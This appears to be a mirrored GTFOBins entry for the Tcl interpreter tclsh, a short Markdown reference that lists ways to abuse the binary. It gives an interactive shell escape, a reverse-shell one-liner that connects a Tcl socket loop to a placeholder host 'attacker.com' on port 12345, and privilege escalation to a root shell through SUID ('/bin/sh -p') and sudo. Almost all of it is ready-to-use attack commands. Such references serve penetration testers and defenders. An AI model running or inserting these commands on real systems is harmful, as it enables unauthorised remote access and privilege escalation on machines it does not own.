mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
22 lines
684 B
Markdown
22 lines
684 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: |
|
|
tclsh
|
|
exec /bin/sh <@stdin >@stdout 2>@stderr
|
|
reverse-shell-non-interactive:
|
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
|
code: |
|
|
export RHOST=attacker.com
|
|
export RPORT=12345
|
|
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
|
|
suid-enabled:
|
|
- code: |
|
|
./tclsh
|
|
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
|
sudo-enabled:
|
|
- code: |
|
|
sudo tclsh
|
|
exec /bin/sh <@stdin >@stdout 2>@stderr
|
|
---
|